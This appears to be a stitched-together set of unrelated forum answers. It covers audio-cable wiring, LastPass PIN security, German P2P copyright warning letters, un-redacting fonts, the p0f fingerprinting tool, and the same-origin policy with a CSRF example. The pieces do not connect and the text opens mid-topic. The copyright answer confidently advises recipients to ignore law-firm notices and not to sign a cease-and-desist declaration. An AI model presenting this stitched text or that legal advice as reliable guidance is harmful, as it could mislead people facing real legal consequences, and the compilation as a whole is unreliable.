You can get by with wirewrapping, but it's not recommended for audio cables. A cheap soldering iron costs 3-5$.

Connect wire (either red+ or black-, it doesn't matter), to either pins 1 and 2 or pins 2 and 3.


How secure could the LastPass Android application be with a four-digit PIN?

Short PIN codes are a serious hindrance for attackers only in online dictionary attack contexts. The distinction is the following:

Online dictionary attack: for each potential password/PIN code, the attacker must try it against an honest system (server, running app...).
Offline dictionary attack: the attacker could obtain some data (hashed value, encrypted file...) allowing him to test potential passwords/PIN codes on his own machine.

Offline dictionary attacks are a lot more powerful since they can run at the full speed of the PC that the attacker cares to put to the task. Conversely, online dictionary attacks can be thwarted by the "honest system" responding only slowly, or even refusing to respond after too many failures. This is the model of smart cards: they lock up after 3 (or 5 or some other configurable value) wrong PIN codes.

In the case of LastPass, the theory is that you should maintain the physical security of your device (don't allow your smartphone to be stolen); the PIN code is just an extra protection for "casual attackers" who would try to get to the passwords in an online dictionary attack context (i.e. the attacker is a "friend" who temporarily borrows your smartphone but wants to remain discreet, and hence will not open it up to access the files directly).


I encountered similar situations.

P2P itself is not illegal. German law considers that sharing content protected by copyright is illegal. You can share non-protected content, like let's say an .iso image of a public Linux distribution. Simply using P2P does not violate anything.
If they can prove that you did download copyright protected files, then yes, fines are possible, but not that easy. German courts have stated that the owner of the internet access is in theory responsible for any wrong-doings happening on that network and that it is their duty to secure them.
An IP address does not represent a person. Legally, an accusation based on IP-only does not stand. That IP can be hijacked by malware or another person can be behind the terminal using it when the offense is done.
The notice you got can be considered blackmail. I put it under blackmail because the letter is sent by law firms (that hire specialized third-party services that are scanning P2P nodes and clients, recording IP adresses that are currently downloading illegally in Germany, after which they are authorized by law to ask your internet provider to disclose any information linked to that IP adress), which in turn are hired by companies owning the copyrighted items. So it's a 3rd party involved. Basically, the letter is a warning to let you know that this 3rd party entity knows what you did and if you do not want to go to court you should pay a fine.
Given (4), such a case would rarely reach a court because of (3) and other aspects.

Conclusion: Ignoring it would be the recommended choice is this situation. You'll probably never hear from them again, unless you repeat the offense, in which case they will dig more into the matter and they could gather more evidence than (3), which will make the basics for a possible legal case. If you also received a document named "Unterlassungserklärung" you should not sign it as doing that would be an admission of guilt, which would give them a lot more legal ground to pursue things further.


Un-redacting analog redactions on variable width fonts?

There are simply too many possible combinations for any reasonably-sized redaction for this to be useful.  You can certainly use spacing analysis to reject possible values, but it's not a practical way to generate candidate values (an advance of 4096, for example, could be any of 60 words; 299 words if you permit 10% misalignment).


Probably you should use http://lcamtuf.coredump.cx/p0f3/, this is a good tool for start to understand passive os detection, but bear in mind that there is techniques to fake the results but definitively a good starting point


Is same origin policy for web only useful because of cookies?

No, the Same Origin Policy also protects against:

Cross domain manipulation in the DOM (e.g. a page manipulating another page from another origin loaded in an IFrame).
The response from AJAX requests being read when the origins don't match.
Images loaded from other origins from being read into an HTML5 canvas.

  So my question is: would we really need this policy if the browser
  would not send all the http auth details and cookies with this request
  automatically?

Yes we do need it for the above reasons.

It could work like that, but not now because of backwards compatibility reasons. It would break too many things suddenly changing a standard that most of the world's web is based upon.

In any case, what would happen in the case that the whole window is redirected? e.g. if there's as sensitive function that could be exploited via CSRF using the GET method, the attacker could simply redirect the whole page to https://example.com/delete_users in order to execute the attack.

How would the browser know not to send cookies in that situation? It appears the only thing you would achieve is to make the rules more complicated, and complexity is the enemy of security.